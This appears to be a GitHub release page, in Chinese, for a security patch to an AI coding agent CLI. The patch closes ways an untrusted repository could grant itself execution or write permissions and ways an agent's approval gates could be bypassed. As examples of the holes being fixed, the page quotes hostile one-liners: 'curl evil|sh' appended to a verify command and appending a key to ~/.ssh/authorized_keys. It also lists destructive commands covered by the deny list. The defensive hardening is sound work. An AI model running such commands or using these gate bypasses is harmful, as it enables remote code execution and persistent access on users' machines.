Skip to content

v3.5.1 安全补丁版

Choose a tag to compare

@huiliyi37 huiliyi37 released this 22 Aug 16:23
· 18 commits to main since this release

v3.5.1 发布记录

日期:2026-08-22
上一版本:v3.5.0(release commit 4a1228226,2026-08-19)
提交数:7 commits(4 fix(security) / 1 fix(computer-use) / 1 fix(desktop) / 1 feat(desktop))
范围:CLI 线安全补丁版。按 codex-security 方法论安全扫描的收口系列(信任门三根修 + 门禁检测五修 + 供应链钉扎/L 系列)+ 审查补漏 + computer use macOS 权限探针修复。桌面端两提交随下一版桌面线发布。

1. workspace-trust 项目信任门(fbe68cb0a

恶意仓库经项目级文件自我授权的三条通道收口(SECURITY.md 信任边界「仓库内容不能单独构成执行授权」此前只在文档成立):

  • H1 项目 hooks<cwd>/.rivet/hooks.json 未授信不加载(此前 spawnSync shell:true 无门禁,恶意仓库打开即任意执行)
  • H2 项目配置:loadConfig Layer 3 未授信剥离安全键(permissions/mcp/hooks/env/provider/providers/search/verify + agent.approval/agent.unsandboxed/ui.statusLine/skills.importFromClaude)
  • H3 MCP 拉起:随 mcp 剥离自动收口;verify 声明命令与桌面端 agent 块合并两处直读口同步设门
  • 信任决策:TUI /trust、CLI --trust/--untrust、env RIVET_TRUST_PROJECT,持久化 ~/.rivet/project-trust.json(realpath 键控,不写回仓库)

2. 门禁与检测层五修(9c03e6cd8

  • H4 验证命令 argv 化:wave-gate/deliver-task/typecheck-gate 声明命令此前前缀正则白名单 + shell:true——npx tsx; curl evil|sh 实测穿透。新 verify-command.ts token 字符集白名单(拒全部 cmd/sh 元字符)+ argv 形状校验,POSIX 直 spawn / win32 经 ComSpec
  • H5 ast_edit 接管 validatePathSafe:写类路径边界 + 敏感文件硬门 + symlink 复检(此前完全绕过,auto-safe 零审批写出工作区)
  • H6 bash 安全写按操作数落点放行echo k >> ~/.ssh/authorized_keys 不再自动免审
  • M2-M4:破坏性门禁补族(remove-item/del /s/find -delete/shred/rsync --delete/truncate table/rm 分离旗标);敏感检测归一化匹配(scripts/../.env.ENV 绕过关闭)+ detectSensitiveGitAdd 接线进 bash 审批与 git commit 门;敏感模式补 basename 无扩展形态
  • M7:越工作区路由扩至 export_file/open_path/create_document 族

3. 供应链钉扎 + server 面加固(28beed3a7

  • M1 better-sqlite3 原生二进制全 12 平台 tarball SHA-256 钉扎(有钉扎全镜像校验硬失败,无钉扎仅放行基础设施源)
  • M5 插件名模式约束(防安装路径穿越/递归删任意目录)
  • L 系列:CORS 白名单反射 + Host 回环校验(新 server/cors.ts,通配 * 清除);/health 匿名收敛为 {ok,version};speech/greeting/open-file 路由级鉴权;session id 换 CSPRNG;fetchWithTimeout 默认 redirect:'error'(堵 x-api-key 跨源重定向泄漏);SSRF 黑名单补 NAT64/6to4;凭证/转录文件 0600;run-tests Windows 引号覆盖 cmd 元字符;apply_patch 目标过 validatePathSafe;swebench 全参数数组 spawn

4. 信任门剥离补漏——审查修复(4589cfc39

v3.5.1 内对 fbe68cb0a 的审查发现:schema 的 permissions 实际嵌在 agent.permissions(剥离清单里的顶层 permissions 是死条目)——未授信项目可经 additionalWriteDirs 常驻写授权、allow 规则、bash.allowlist 预授权自我授权。补 ['agent','permissions'] 嵌套剥离 + plugins/mirrors 入顶层清单;测试改按真实消费路径断言(原断言查不存在的顶层键,空转通过)。

5. computer use macOS 权限探针(ae2ddfa6b,Pro)

用户症状:授权屏幕录制后,关掉 computer use 菜单再点回去又要重新授权。根因在探针自身:screencapture CLI 探测在未授权态每次触发 macOS 系统弹窗(5s 超时强杀 → 永远报缺失)。改 CGPreflightScreenCaptureAccess() / AXIsProcessTrusted() ASObjC 无副作用读 TCC;已授权待重启态明示「重启生效」而非引导重授权。

6. 桌面端(随下一版桌面线发布,此处仅记录)

  • 输入框附件缩略图点开 ImageLightbox(fd5ce1b12
  • macOS 消息文字选区复制修复(ContextMenuTrigger selectable 逃逸口)+ lightbox 双端捏合缩放(1f3bb48e1

已知事项

  • macOS 桌面端 TCC 层面:ad-hoc 签名导致每次更新屏幕录制/辅助功能授权失效、未公证 app 的月度系统重确认弹窗——根治需 Developer ID 签名 + 公证(打包脚本 codesign-nested.js 已就绪,配 APPLE_SIGNING_IDENTITY 即可)